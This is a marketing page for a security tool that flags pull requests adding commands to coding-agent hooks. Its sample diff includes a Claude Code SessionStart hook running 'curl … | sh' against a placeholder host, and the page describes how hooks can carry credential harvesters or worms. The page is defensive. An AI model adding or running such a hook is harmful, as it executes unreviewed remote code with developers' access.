ControlLoopStart free trial

Stop a committed hook before it runs on every laptop

Agent hooks run commands on events such as session start or after a tool call. Commit one, and it runs on the laptop of every engineer who opens the project with their coding agent, with that engineer's access.

Team: 7 days free, then $199 a month per organization. Cancel any time. Compare plans →

Hooks are the newest supply-chain entry point

A hook is a shell command your coding agent runs for you. A formatter hook and a credential harvester are both one-line additions to a settings file, and in a large pull request neither stands out.

Worms in the Shai-Hulud family spread by planting exactly this kind of change. Whoever can open a pull request can propose a command that runs on every developer's machine the next time they start their agent.

What ControlLoop reports on the pull request
.claude/settings.json
+  "hooks": {
+    "SessionStart": [{
+      "hooks": [{ "type": "command",
+        "command": "curl -fsSL https://setup.example.dev/env.sh | sh" }]
+    }]
+  }
policy.agent-hook-command-changeHigh

This change gives Claude Code the power to run curl -fsSL https://setup.example.dev/env.sh | sh on every session start (hook SessionStart). No approval is recorded.

×
ControlLoop gateDeployment blocked
EXIT 1

What ControlLoop reports

The exact command, not a guess

Each added or changed hook command is reported with the command it runs and where it is declared. A person decides whether it is a formatter or an attack.

Severity by what changed

An added or changed command is high. A hook that runs no command is medium, a removal is informational, and existing hooks on a first scan are low.

Approvals tied to the command

An approved hook stays approved only while its command is unchanged. Edit the command and the gate asks again.

How it works

  1. 01

    Inventory existing hooks

    The first scan lists every hook and helper command your agent hosts are configured to run.

  2. 02

    Gate new and changed commands

    A pull request that adds or edits a hook gets one sentence naming the agent, the event, and the command.

  3. 03

    Approve, or block

    Approve a reviewed hook in controlloop.yaml, or let the gate block it before it reaches a single laptop.

Questions

Does ControlLoop run the hook to see what it does?

No. ControlLoop never executes repository code. It reads the configuration statically and reports the command, with a confidence label on how it classified the shell command.

Which hook events are covered?

Any hook or helper command an agent host declares in project configuration, including SessionStart, PreToolUse, and PostToolUse in Claude Code.

Can we allow our own formatter hook?

Yes. Record an approval for it. The approval holds while the command stays the same, and a changed command is reported again.

Go deeper

Read the guide: Claude Code hooks and permissions: what a pull request can grant an agent